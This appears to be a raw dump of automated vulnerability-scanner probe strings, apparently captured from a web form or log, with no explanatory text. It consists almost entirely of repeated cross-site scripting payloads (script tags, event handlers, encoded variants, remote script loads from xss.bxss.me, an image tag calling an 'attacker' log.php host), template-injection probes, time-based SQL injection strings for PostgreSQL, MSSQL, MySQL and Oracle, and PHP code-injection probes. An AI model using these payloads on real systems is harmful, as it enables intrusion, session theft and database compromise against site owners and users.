555<img sRc='http://attacker-9070/log.php?
555<alEXxSQ x=9222>
555<ifRAme sRc=9574.com></IfRamE>
555<W9DCUT>4XHHY[!+!]</W9DCUT>
555YgxwC
<ScRiPt >yS77(9403)</ScRiPt>
555}body{acu:Expre/**/SSion(yS77(9907))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=yS77(9403)>
555<ScRiPt>yS77(9470)</sCripT>
555\u003CScRiPt\yS77(9039)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%79%53%37%37%289693%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9315)>
555<img src=xyz OnErRor=yS77(9571)>
555<img src=//xss.bxss.me/t/dot.gif onload=yS77(9953)>
555<body onload=yS77(9574)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9902'>
555<isindex type=image src=1 onerror=yS77(9067)>
555<svg
555< ScRiPt
>yS77(9404)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9378></ScRiPt>
555<ScRiPt
>yS77(9338)</ScRiPt>
555<ScR<ScRiPt>IpT>yS77(9987)</sCr<ScRiPt>IpT>
555<script>yS77(9554)</script>
555<W1GUC7>GLHMA[!+!]</W1GUC7>
555
555<ScRiPt >yS77(9389)</ScRiPt>
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
acx__${98991*97996}__::.x
555
555<aQQtxte<
acx[[${98991*97996}]]xca
555
555<img sRc='http://attacker-9176/log.php?
acx{{98991*97996}}xca
555
555<ae4p66C x=9395>
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555<ifRAme sRc=9545.com></IfRamE>
<th:t="${acx}#foreach
555
555<WSY2RK>HZXNU[!+!]</WSY2RK>
<%={{={@{#{${acx}}%>
555
555CZ4x3
<ScRiPt >hcIM(9523)</ScRiPt>
acux7476
555
555}body{acu:Expre/**/SSion(hcIM(9703))}
acu5236＜s1﹥s2ʺs3ʹuca5236
555
<a HrEF=jaVaScRiPT:>
5559490698
555
<a HrEF=http://xss.bxss.me></a>
'"()&%<acx><ScRiPt >yS77(9870)</ScRiPt>
555
555<input autofocus onfocus=hcIM(9041)>
555'"()&%<acx><ScRiPt >yS77(9556)</ScRiPt>
555
555
555
555<ScRiPt>hcIM(9260)</sCripT>
555
555
555\u003CScRiPt\hcIM(9447)\u003C/sCripT\u003E
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%68%63%49%4D%289487%29%3C%2F%73%43%72%69%70%54%3E
555
555
555<img/src=">" onerror=alert(9259)>
555
555
555<img src=xyz OnErRor=hcIM(9567)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=hcIM(9726)>
555
555
555<body onload=hcIM(9613)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9644'>
555
555
555<isindex type=image src=1 onerror=hcIM(9091)>
555
555
555
555<svg
555< ScRiPt
>hcIM(9957)</ScRiPt>
555
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9503></ScRiPt>
555
555
555
555<ScRiPt
>hcIM(9486)</ScRiPt>
555
555
555<ScR<ScRiPt>IpT>hcIM(9795)</sCr<ScRiPt>IpT>
555
555
555<script>hcIM(9140)</script>
555
555
555<WZ3IYU>5FLLE[!+!]</WZ3IYU>
555
555
555<ScRiPt >hcIM(9213)</ScRiPt>
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
acx__${98991*97996}__::.x
555
555
acx[[${98991*97996}]]xca
555
555
acx{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555
<th:t="${acx}#foreach
555
<%={{={@{#{${acx}}%>
555
555
acux1577
555
555
acu4048＜s1﹥s2ʺs3ʹuca4048
555
555
5559397843
555
555
'"()&%<acx><ScRiPt >hcIM(9086)</ScRiPt>
555
555'"()&%<acx><ScRiPt >hcIM(9074)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555<afAQ5KQ<
555<img sRc='http://attacker-9536/log.php?
555<a9tVjiz x=9540>
555<ifRAme sRc=9558.com></IfRamE>
555<WF712K>ZFA02[!+!]</WF712K>
555nBVL8
<ScRiPt >yXoD(9493)</ScRiPt>
555}body{acu:Expre/**/SSion(yXoD(9507))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=yXoD(9412)>
555<ScRiPt>yXoD(9178)</sCripT>
555\u003CScRiPt\yXoD(9318)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%79%58%6F%44%289638%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9390)>
555
555<img src=xyz OnErRor=yXoD(9735)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=yXoD(9259)>
555
555<body onload=yXoD(9784)>
555
555<aYEBf28<
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9067'>
555
555<img sRc='http://attacker-9974/log.php?
555<isindex type=image src=1 onerror=yXoD(9036)>
555
555<aq0WIhh x=9908>
555<svg
555
555<ifRAme sRc=9697.com></IfRamE>
555< ScRiPt
>yXoD(9457)</ScRiPt>
555
555<W3TJZK>DERUW[!+!]</W3TJZK>
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9171></ScRiPt>
555
555u0CQG
<ScRiPt >VOoB(9088)</ScRiPt>
555
555
555<ScRiPt
>yXoD(9150)</ScRiPt>
555}body{acu:Expre/**/SSion(VOoB(9690))}
555
555
555<ScR<ScRiPt>IpT>yXoD(9048)</sCr<ScRiPt>IpT>
<a HrEF=jaVaScRiPT:>
555
555<script>yXoD(9802)</script>
555
<a HrEF=http://xss.bxss.me></a>
555
555<WTOMKY>WJJ4M[!+!]</WTOMKY>
555
555<input autofocus onfocus=VOoB(9657)>
555
555<ScRiPt >yXoD(9200)</ScRiPt>
555
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt>VOoB(9488)</sCripT>
555
555
acx__${98991*97996}__::.x
555\u003CScRiPt\VOoB(9551)\u003C/sCripT\u003E
555
555
acx[[${98991*97996}]]xca
%35%35%35%3C%53%63%52%69%50%74%20%3E%56%4F%6F%42%289351%29%3C%2F%73%43%72%69%70%54%3E
555
555
acx{{98991*97996}}xca
555<img/src=">" onerror=alert(9603)>
555
555
555
555
555
555<img src=xyz OnErRor=VOoB(9532)>
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555<img src=//xss.bxss.me/t/dot.gif onload=VOoB(9556)>
555
555
555
555<body onload=VOoB(9791)>
555
555
<th:t="${acx}#foreach
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9660'>
555
555
555
555<isindex type=image src=1 onerror=VOoB(9248)>
555
<%={{={@{#{${acx}}%>
555
555
555<svg
555
acux4899
555< ScRiPt
>VOoB(9289)</ScRiPt>
555
555
acu2473＜s1﹥s2ʺs3ʹuca2473
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9731></ScRiPt>
555
555
5559278274
555<ScRiPt
>VOoB(9553)</ScRiPt>
555
'"()&%<acx><ScRiPt >yXoD(9975)</ScRiPt>
555<ScR<ScRiPt>IpT>VOoB(9907)</sCr<ScRiPt>IpT>
555
555
555'"()&%<acx><ScRiPt >yXoD(9475)</ScRiPt>
555<script>VOoB(9220)</script>
555
555
555
555<WUIVWV>CUHDS[!+!]</WUIVWV>
555
555
555<ScRiPt >VOoB(9667)</ScRiPt>
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
acx__${98991*97996}__::.x
555
555
acx[[${98991*97996}]]xca
555
555
acx{{98991*97996}}xca
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555
<th:t="${acx}#foreach
555
555
<%={{={@{#{${acx}}%>
555
555
acux5544
acu9974＜s1﹥s2ʺs3ʹuca9974
555
555
5559707882
555
'"()&%<acx><ScRiPt >VOoB(9230)</ScRiPt>
555
555'"()&%<acx><ScRiPt >VOoB(9388)</ScRiPt>
555
555
555<ajxBk42<
555<img sRc='http://attacker-9849/log.php?
555<aWwGAJU x=9741>
555<ifRAme sRc=9169.com></IfRamE>
555<WJARWL>SGQHN[!+!]</WJARWL>
555OEFEZ
<ScRiPt >lCZ2(9171)</ScRiPt>
555}body{acu:Expre/**/SSion(lCZ2(9404))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=lCZ2(9098)>
555<ScRiPt>lCZ2(9303)</sCripT>
555\u003CScRiPt\lCZ2(9650)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%43%5A%32%289167%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9125)>
555<img src=xyz OnErRor=lCZ2(9055)>
555<img src=//xss.bxss.me/t/dot.gif onload=lCZ2(9644)>
555<body onload=lCZ2(9728)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9420'>
555<isindex type=image src=1 onerror=lCZ2(9134)>
555<svg
555< ScRiPt
>lCZ2(9393)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9218></ScRiPt>
555<ScRiPt
>lCZ2(9012)</ScRiPt>
555<ScR<ScRiPt>IpT>lCZ2(9906)</sCr<ScRiPt>IpT>
555<script>lCZ2(9062)</script>
555<WHNOEY>PHG2K[!+!]</WHNOEY>
555<ScRiPt >lCZ2(9285)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux5084
acu8772＜s1﹥s2ʺs3ʹuca8772
5559123821
'"()&%<acx><ScRiPt >lCZ2(9354)</ScRiPt>
555'"()&%<acx><ScRiPt >lCZ2(9517)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<ahT6fW0<
555
555<img sRc='http://attacker-9983/log.php?
555
555<aCMLIID x=9524>
555
555<ifRAme sRc=9721.com></IfRamE>
555
555<WBMMYQ>EXWEU[!+!]</WBMMYQ>
555
555rjBDA
<ScRiPt >0MeF(9165)</ScRiPt>
555}body{acu:Expre/**/SSion(0MeF(9446))}
555
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=0MeF(9699)>
555
555
555
555<ScRiPt>0MeF(9564)</sCripT>
555\u003CScRiPt\0MeF(9262)\u003C/sCripT\u003E
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%30%4D%65%46%289693%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9666)>
555
555<img src=xyz OnErRor=0MeF(9609)>
555<img src=//xss.bxss.me/t/dot.gif onload=0MeF(9513)>
555<body onload=0MeF(9092)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9753'>
555<isindex type=image src=1 onerror=0MeF(9735)>
555<svg
555< ScRiPt
>0MeF(9595)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9621></ScRiPt>
555<ScRiPt
>0MeF(9725)</ScRiPt>
555<ScR<ScRiPt>IpT>0MeF(9068)</sCr<ScRiPt>IpT>
555<script>0MeF(9561)</script>
555<WZPPYP>TLFWC[!+!]</WZPPYP>
555<ScRiPt >0MeF(9856)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux1489
acu10489＜s1﹥s2ʺs3ʹuca10489
5559802645
'"()&%<acx><ScRiPt >0MeF(9596)</ScRiPt>
555'"()&%<acx><ScRiPt >0MeF(9058)</ScRiPt>
555<abWyyRL<
555<img sRc='http://attacker-9784/log.php?
555<a8ABsCr x=9556>
555<ifRAme sRc=9515.com></IfRamE>
555<WA7MQL>LWQK6[!+!]</WA7MQL>
555PnX2X
<ScRiPt >IafX(9166)</ScRiPt>
555}body{acu:Expre/**/SSion(IafX(9009))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=IafX(9719)>
555<ScRiPt>IafX(9342)</sCripT>
555\u003CScRiPt\IafX(9117)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%49%61%66%58%289935%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9224)>
555<img src=xyz OnErRor=IafX(9785)>
555<img src=//xss.bxss.me/t/dot.gif onload=IafX(9437)>
555<body onload=IafX(9188)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9617'>
555<isindex type=image src=1 onerror=IafX(9761)>
555<svg
555< ScRiPt
>IafX(9499)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9275></ScRiPt>
555<ScRiPt
>IafX(9358)</ScRiPt>
555
555<ScR<ScRiPt>IpT>IafX(9884)</sCr<ScRiPt>IpT>
555
555<script>IafX(9957)</script>
555
555<W7BQQL>2QIB7[!+!]</W7BQQL>
555
555<ahNAWYq<
555<ScRiPt >IafX(9508)</ScRiPt>
555<img sRc='http://attacker-9253/log.php?
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<aVGk4CK x=9223>
555
acx__${98991*97996}__::.x
555<ifRAme sRc=9093.com></IfRamE>
555
acx[[${98991*97996}]]xca
555
555<WW0NVM>AW3ZW[!+!]</WW0NVM>
acx{{98991*97996}}xca
555oVmwj
<ScRiPt >HLWB(9643)</ScRiPt>
555
555
555}body{acu:Expre/**/SSion(HLWB(9297))}
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
<a HrEF=jaVaScRiPT:>
555
555
<a HrEF=http://xss.bxss.me></a>
<th:t="${acx}#foreach
555
555<input autofocus onfocus=HLWB(9314)>
555
555
<%={{={@{#{${acx}}%>
555<ScRiPt>HLWB(9048)</sCripT>
555
acux5141
555\u003CScRiPt\HLWB(9063)\u003C/sCripT\u003E
555
acu6167＜s1﹥s2ʺs3ʹuca6167
%35%35%35%3C%53%63%52%69%50%74%20%3E%48%4C%57%42%289137%29%3C%2F%73%43%72%69%70%54%3E
555
5559143226
555
555<img/src=">" onerror=alert(9065)>
'"()&%<acx><ScRiPt >IafX(9399)</ScRiPt>
555<img src=xyz OnErRor=HLWB(9757)>
555
555'"()&%<acx><ScRiPt >IafX(9537)</ScRiPt>
555<img src=//xss.bxss.me/t/dot.gif onload=HLWB(9373)>
555
555<body onload=HLWB(9160)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9590'>
555
555<isindex type=image src=1 onerror=HLWB(9183)>
555
555
555<svg
555
555< ScRiPt
>HLWB(9510)</ScRiPt>
555
555
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9847></ScRiPt>
555
555<ScRiPt
>HLWB(9860)</ScRiPt>
555
555
555<ScR<ScRiPt>IpT>HLWB(9388)</sCr<ScRiPt>IpT>
555
555
555<script>HLWB(9541)</script>
555
555
555
555<WMASU0>F112J[!+!]</WMASU0>
555
555
555<ScRiPt >HLWB(9783)</ScRiPt>
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
acx__${98991*97996}__::.x
555
555
acx[[${98991*97996}]]xca
555
acx{{98991*97996}}xca
555
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555
555
<th:t="${acx}#foreach
555
555
<%={{={@{#{${acx}}%>
555
acux5123
555
555
acu3976＜s1﹥s2ʺs3ʹuca3976
555
5559685206
555
'"()&%<acx><ScRiPt >HLWB(9026)</ScRiPt>
555
555'"()&%<acx><ScRiPt >HLWB(9289)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<aoZo2sf<
555<img sRc='http://attacker-9379/log.php?
555<aT9CcKZ x=9834>
555<ifRAme sRc=9966.com></IfRamE>
555<WNIODD>8FZ8Z[!+!]</WNIODD>
5558DGIp
<ScRiPt >fGtT(9076)</ScRiPt>
555}body{acu:Expre/**/SSion(fGtT(9289))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=fGtT(9403)>
555<ScRiPt>fGtT(9487)</sCripT>
555\u003CScRiPt\fGtT(9553)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%66%47%74%54%289295%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9435)>
555<img src=xyz OnErRor=fGtT(9431)>
555<img src=//xss.bxss.me/t/dot.gif onload=fGtT(9739)>
555<body onload=fGtT(9522)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9052'>
555<isindex type=image src=1 onerror=fGtT(9589)>
555<svg
555< ScRiPt
>fGtT(9753)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9043></ScRiPt>
555<ScRiPt
>fGtT(9212)</ScRiPt>
555<ScR<ScRiPt>IpT>fGtT(9852)</sCr<ScRiPt>IpT>
555<script>fGtT(9770)</script>
555<WBE6TI>V2YYO[!+!]</WBE6TI>
555<ScRiPt >fGtT(9037)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux7620
acu5737＜s1﹥s2ʺs3ʹuca5737
5559588104
'"()&%<acx><ScRiPt >fGtT(9278)</ScRiPt>
555'"()&%<acx><ScRiPt >fGtT(9545)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<aclke5O<
555
555<img sRc='http://attacker-9142/log.php?
555<aAtYMcT x=9832>
555
555<ifRAme sRc=9306.com></IfRamE>
555
555
555<WZEMJR>WWDGW[!+!]</WZEMJR>
555wl2MW
<ScRiPt >opMF(9527)</ScRiPt>
555
555}body{acu:Expre/**/SSion(opMF(9670))}
555
<a HrEF=jaVaScRiPT:>
555
<a HrEF=http://xss.bxss.me></a>
555
555
555<input autofocus onfocus=opMF(9545)>
555
555<ScRiPt>opMF(9712)</sCripT>
555
555\u003CScRiPt\opMF(9838)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%70%4D%46%289879%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9146)>
555<img src=xyz OnErRor=opMF(9809)>
555<img src=//xss.bxss.me/t/dot.gif onload=opMF(9396)>
555<body onload=opMF(9297)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9217'>
555<isindex type=image src=1 onerror=opMF(9167)>
555<svg
555< ScRiPt
>opMF(9651)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9320></ScRiPt>
555<ScRiPt
>opMF(9409)</ScRiPt>
555<ScR<ScRiPt>IpT>opMF(9356)</sCr<ScRiPt>IpT>
555<script>opMF(9431)</script>
555<WBGO8Q>18YI3[!+!]</WBGO8Q>
555<ScRiPt >opMF(9251)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
acux2565
acu5525＜s1﹥s2ʺs3ʹuca5525
5559066167
'"()&%<acx><ScRiPt >opMF(9477)</ScRiPt>
555'"()&%<acx><ScRiPt >opMF(9558)</ScRiPt>
555<azXj9aC<
555<img sRc='http://attacker-9065/log.php?
555<aIvyv2q x=9569>
555<ifRAme sRc=9784.com></IfRamE>
555<WLGX8K>9DYJO[!+!]</WLGX8K>
555oAjsr
<ScRiPt >YAWh(9929)</ScRiPt>
555}body{acu:Expre/**/SSion(YAWh(9816))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=YAWh(9305)>
555<ScRiPt>YAWh(9751)</sCripT>
555\u003CScRiPt\YAWh(9198)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%59%41%57%68%289827%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9853)>
555<img src=xyz OnErRor=YAWh(9071)>
555<img src=//xss.bxss.me/t/dot.gif onload=YAWh(9515)>
555<body onload=YAWh(9068)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9694'>
555<isindex type=image src=1 onerror=YAWh(9605)>
555<svg
555< ScRiPt
>YAWh(9784)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9472></ScRiPt>
555<ScRiPt
>YAWh(9420)</ScRiPt>
555
555<ScR<ScRiPt>IpT>YAWh(9119)</sCr<ScRiPt>IpT>
555
555<script>YAWh(9461)</script>
555
555<W5CLUO>FUEI5[!+!]</W5CLUO>
555<ajyFIbS<
555
555<ScRiPt >YAWh(9388)</ScRiPt>
555<img sRc='http://attacker-9867/log.php?
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<arPqDE9 x=9872>
555
acx__${98991*97996}__::.x
555<ifRAme sRc=9574.com></IfRamE>
555
acx[[${98991*97996}]]xca
555
555<WRAYR8>KXZDP[!+!]</WRAYR8>
acx{{98991*97996}}xca
5552dxnE
<ScRiPt >z9pB(9633)</ScRiPt>
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555}body{acu:Expre/**/SSion(z9pB(9998))}
<th:t="${acx}#foreach
555
<a HrEF=jaVaScRiPT:>
<%={{={@{#{${acx}}%>
555
<a HrEF=http://xss.bxss.me></a>
acux10360
555<input autofocus onfocus=z9pB(9654)>
555
acu2270＜s1﹥s2ʺs3ʹuca2270
555
5559432959
555
555<ScRiPt>z9pB(9256)</sCripT>
'"()&%<acx><ScRiPt >YAWh(9755)</ScRiPt>
555\u003CScRiPt\z9pB(9712)\u003C/sCripT\u003E
555
555'"()&%<acx><ScRiPt >YAWh(9552)</ScRiPt>
%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%39%70%42%289143%29%3C%2F%73%43%72%69%70%54%3E
555
555<img/src=">" onerror=alert(9405)>
555
555<img src=xyz OnErRor=z9pB(9142)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=z9pB(9212)>
555
555<body onload=z9pB(9727)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9908'>
555
555<isindex type=image src=1 onerror=z9pB(9693)>
555
555<svg
555
555
555< ScRiPt
>z9pB(9255)</ScRiPt>
555
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9783></ScRiPt>
555
555
555<ScRiPt
>z9pB(9050)</ScRiPt>
555
555
555<ScR<ScRiPt>IpT>z9pB(9933)</sCr<ScRiPt>IpT>
555
555
555<script>z9pB(9165)</script>
555
555
555<WBJQOB>O2TYA[!+!]</WBJQOB>
555
555
555
555<ScRiPt >z9pB(9458)</ScRiPt>
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
acx__${98991*97996}__::.x
555
555
555
acx[[${98991*97996}]]xca
555
555
acx{{98991*97996}}xca
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555
555
555
<th:t="${acx}#foreach
555
555
<%={{={@{#{${acx}}%>
555
555
acux6639
555
555
acu9059＜s1﹥s2ʺs3ʹuca9059
555
555
5559897260
555
555
'"()&%<acx><ScRiPt >z9pB(9858)</ScRiPt>
555
555'"()&%<acx><ScRiPt >z9pB(9005)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@u8D1z
1'"
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
72BAwPhE')) OR 167=(SELECT 167 FROM PG_SLEEP(15))--
EWY1QZJG') OR 551=(SELECT 551 FROM PG_SLEEP(15))--
0QoFWvDE' OR 487=(SELECT 487 FROM PG_SLEEP(15))--
-1)) OR 929=(SELECT 929 FROM PG_SLEEP(15))--
-5) OR 616=(SELECT 616 FROM PG_SLEEP(15))--
-5 OR 55=(SELECT 55 FROM PG_SLEEP(15))--
xUXeKePZ'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+405-405-1=0+0+0+1 --
-1' OR 2+77-77-1=0+0+0+1 or '0sj2XEsa'='
-1' OR 2+188-188-1=0+0+0+1 --
-1 OR 2+481-481-1=0+0+0+1
-1 OR 2+966-966-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<aAIZ50D<
555<img sRc='http://attacker-9038/log.php?
555<adW75yJ x=9210>
555<ifRAme sRc=9756.com></IfRamE>
555<WVMJ54>FYNNW[!+!]</WVMJ54>
555
555IEcby
<ScRiPt >r9lu(9211)</ScRiPt>
555}body{acu:Expre/**/SSion(r9lu(9873))}
<a HrEF=jaVaScRiPT:>
<a HrEF=http://xss.bxss.me></a>
555<input autofocus onfocus=r9lu(9330)>
555<ScRiPt>r9lu(9877)</sCripT>
555
555\u003CScRiPt\r9lu(9446)\u003C/sCripT\u003E
%35%35%35%3C%53%63%52%69%50%74%20%3E%72%39%6C%75%289934%29%3C%2F%73%43%72%69%70%54%3E
555<img/src=">" onerror=alert(9525)>
555<img src=xyz OnErRor=r9lu(9709)>
555<img src=//xss.bxss.me/t/dot.gif onload=r9lu(9414)>
555
555<body onload=r9lu(9027)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9269'>
555<isindex type=image src=1 onerror=r9lu(9634)>
555<svg
555< ScRiPt
>r9lu(9441)</ScRiPt>
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9338></ScRiPt>
555<ScRiPt
>r9lu(9109)</ScRiPt>
555
555<ScR<ScRiPt>IpT>r9lu(9783)</sCr<ScRiPt>IpT>
555<script>r9lu(9017)</script>
555<WD0DMT>XW8JM[!+!]</WD0DMT>
555<ScRiPt >r9lu(9556)</ScRiPt>
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
acx__${98991*97996}__::.x
acx[[${98991*97996}]]xca
acx{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
<%={{={@{#{${acx}}%>
555
acux1881
acu2195＜s1﹥s2ʺs3ʹuca2195
5559890772
555
555
'"()&%<acx><ScRiPt >r9lu(9800)</ScRiPt>
555
555'"()&%<acx><ScRiPt >r9lu(9725)</ScRiPt>
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
${@print(md5(31337))}
555
";print(md5(31337));$a="
555
555
555
';print(md5(31337));$a='
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
<!--
555
46/.
'"
555
46
555
46
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
